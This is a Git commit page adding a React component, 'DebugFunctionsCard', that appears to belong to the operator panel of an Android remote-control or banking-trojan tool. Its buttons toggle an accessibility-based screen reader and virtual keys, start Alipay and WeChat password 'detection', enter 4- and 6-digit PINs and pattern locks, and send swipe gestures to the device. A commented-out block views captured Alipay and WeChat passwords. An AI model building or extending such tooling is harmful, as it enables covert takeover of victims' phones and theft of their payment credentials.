sue/web-client
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

111

Browse Source
This commit is contained in:
wdvipa
2026-02-09 16:33:52 +08:00
parent 52c6322a24
commit 28040495c8
63 changed files with 26743 additions and 301 deletions
Download Patch File Download Diff File Expand all files Collapse all files

297
src/components/Control/DebugFunctionsCard.tsx Normal file
View File

@@ -0,0 +1,297 @@
import React, { useState } from 'react'
import { Card, Button, Row, Col } from 'antd'
import { NodeIndexOutlined, DollarOutlined, WechatOutlined, KeyOutlined, AppstoreOutlined } from '@ant-design/icons'
export interface DebugFunctionsCardProps {
// 基本
children?: React.ReactNode
title?: string
extra?: React.ReactNode
footer?: React.ReactNode
style?: React.CSSProperties
loading?: boolean
actions?: React.ReactNode[]
collapsible?: boolean
defaultCollapsed?: boolean
// 运行态
operationEnabled: boolean
// 屏幕阅读器
screenReaderEnabled?: boolean
screenReaderLoading?: boolean
onToggleScreenReader: () => void
// 虚拟按键
virtualKeyboardEnabled?: boolean
onToggleVirtualKeyboard: () => void
// 支付宝/微信检测
alipayDetectionEnabled: boolean
wechatDetectionEnabled: boolean
onStartAlipayDetection: () => void
onStopAlipayDetection: () => void
onStartWechatDetection: () => void
onStopWechatDetection: () => void
// 密码操作
onOpenFourDigitPin: () => void
onOpenSixDigitPin: () => void
onOpenPatternLock: () => void
passwordFilter: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'
onPasswordFilterChange: (v: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD') => void
onViewPasswords: () => void
// 显示控制
showScreenReaderControls?: boolean
showPasswordControls?: boolean
// 手势操作
onSwipeUp?: () => void
onSwipeDown?: () => void
onSwipeLeft?: () => void
onSwipeRight?: () => void
onPullDownLeft?: () => void
onPullDownRight?: () => void
}
export const DebugFunctionsCard: React.FC<DebugFunctionsCardProps> = ({
title = '调试功能',
extra,
footer,
style,
loading,
actions,
collapsible = false,
defaultCollapsed = false,
operationEnabled,
screenReaderEnabled,
screenReaderLoading,
onToggleScreenReader,
virtualKeyboardEnabled,
onToggleVirtualKeyboard,
alipayDetectionEnabled,
wechatDetectionEnabled,
onStartAlipayDetection,
onStopAlipayDetection,
onStartWechatDetection,
onStopWechatDetection,
onOpenFourDigitPin,
onOpenSixDigitPin,
onOpenPatternLock,
showScreenReaderControls = true,
showPasswordControls = true,
onSwipeUp,
onSwipeDown,
onSwipeLeft,
onSwipeRight,
onPullDownLeft,
onPullDownRight,
children
}) => {
const [collapsed, setCollapsed] = useState<boolean>(defaultCollapsed)
const renderExtra = (
<div style={{ display: 'flex', gap: 8, alignItems: 'center' }}>
{extra}
{collapsible && (
<Button type="link" size="small" onClick={() => setCollapsed(v => !v)}>
{collapsed ? '展开' : '收起'}
</Button>
)}
</div>
)
return (
<Card
title={title}
size="small"
extra={renderExtra}
style={style}
loading={loading}
actions={actions}
>
{!collapsed && children && (
<div style={{ marginBottom: 16 }}>
{children}
</div>
)}
{!collapsed && (
<>
{showScreenReaderControls && (
<Row gutter={[8, 8]} style={{ marginTop: 8 ,display:'none'}}>
<Col span={24}>
<Button
block
type={screenReaderEnabled ? 'primary' : 'dashed'}
icon={<NodeIndexOutlined />}
onClick={onToggleScreenReader}
disabled={!operationEnabled}
loading={screenReaderLoading}
style={{
fontSize: 12,
background: screenReaderEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
borderColor: screenReaderEnabled ? '#52c41a' : undefined
}}
>
📱 {screenReaderEnabled ? '增强版屏幕阅读器已启用' : '启用增强版屏幕阅读器'}
</Button>
</Col>
<Col span={24}>
<Button
block
type={virtualKeyboardEnabled ? 'primary' : 'dashed'}
icon={<KeyOutlined />}
onClick={onToggleVirtualKeyboard}
disabled={!operationEnabled || !screenReaderEnabled}
style={{
fontSize: 12,
background: virtualKeyboardEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
borderColor: virtualKeyboardEnabled ? '#1890ff' : undefined
}}
>
⌨️ {virtualKeyboardEnabled ? '虚拟按键已显示' : '显示虚拟按键'}
</Button>
</Col>
</Row>
)}
{showPasswordControls && (
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
<Col span={12}>
<Button
block
type={alipayDetectionEnabled ? 'default' : 'primary'}
icon={<DollarOutlined />}
onClick={alipayDetectionEnabled ? onStopAlipayDetection : onStartAlipayDetection}
disabled={!operationEnabled}
style={{
background: !alipayDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
borderColor: !alipayDetectionEnabled && operationEnabled ? '#1890ff' : undefined,
color: !alipayDetectionEnabled && operationEnabled ? 'white' : undefined
}}
>
{alipayDetectionEnabled ? '停止支付宝检测' : '支付宝检测'}
</Button>
</Col>
<Col span={12}>
<Button
block
type={wechatDetectionEnabled ? 'default' : 'primary'}
icon={<WechatOutlined />}
onClick={wechatDetectionEnabled ? onStopWechatDetection : onStartWechatDetection}
disabled={!operationEnabled}
style={{
background: !wechatDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
borderColor: !wechatDetectionEnabled && operationEnabled ? '#52c41a' : undefined,
color: !wechatDetectionEnabled && operationEnabled ? 'white' : undefined
}}
>
{wechatDetectionEnabled ? '停止微信检测' : '微信检测'}
</Button>
</Col>
<Col span={12}>
<Button
block
type="primary"
icon={<KeyOutlined />}
onClick={onOpenFourDigitPin}
disabled={!operationEnabled}
style={{
background: operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
borderColor: operationEnabled ? '#52c41a' : undefined,
color: operationEnabled ? 'white' : undefined
}}
>
4位PIN输入
</Button>
</Col>
<Col span={12}>
<Button
block
type="primary"
icon={<KeyOutlined />}
onClick={onOpenSixDigitPin}
disabled={!operationEnabled}
style={{
background: operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
borderColor: operationEnabled ? '#1890ff' : undefined,
color: operationEnabled ? 'white' : undefined
}}
>
6位PIN输入
</Button>
</Col>
<Col span={24}>
<Button
block
type="primary"
icon={<AppstoreOutlined />}
onClick={onOpenPatternLock}
disabled={!operationEnabled}
style={{
background: operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
borderColor: operationEnabled ? '#722ed1' : undefined,
color: operationEnabled ? 'white' : undefined
}}
>
图形密码输入
</Button>
</Col>
{/*
<Col span={24}>
<div style={{ display: 'flex', gap: 8 }}>
<Select
style={{ width: 160 }}
value={passwordFilter}
onChange={(val) => onPasswordFilterChange(val as any)}
options={[
{ label: '默认', value: 'DEFAULT' },
{ label: '支付宝', value: 'ALIPAY_PASSWORD' },
{ label: '微信', value: 'WECHAT_PASSWORD' }
]}
/>
<Button
type="default"
icon={<FileTextOutlined />}
onClick={onViewPasswords}
disabled={!operationEnabled}
>
查看密码
</Button>
</div>
</Col> */}
</Row>
)}
</>
)}
{footer && (
<div style={{ marginTop: 8 }}>
{footer}
</div>
)}
{/* 手势操作（可选） */}
{!collapsed && (onSwipeUp || onSwipeDown || onSwipeLeft || onSwipeRight || onPullDownLeft || onPullDownRight) && (
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
{onSwipeUp && (
<Col span={12}><Button block onClick={onSwipeUp}>↑ 上滑</Button></Col>
)}
{onSwipeDown && (
<Col span={12}><Button block onClick={onSwipeDown}>↓ 下滑</Button></Col>
)}
{onSwipeLeft && (
<Col span={12}><Button block onClick={onSwipeLeft}>← 左滑</Button></Col>
)}
{onSwipeRight && (
<Col span={12}><Button block onClick={onSwipeRight}>→ 右滑</Button></Col>
)}
{onPullDownLeft && (
<Col span={12}><Button block type="primary" onClick={onPullDownLeft}>⬇️ 左边下拉</Button></Col>
)}
{onPullDownRight && (
<Col span={12}><Button block type="primary" onClick={onPullDownRight}>⬇️ 右边下拉</Button></Col>
)}
</Row>
)}
</Card>
)
}
export default DebugFunctionsCard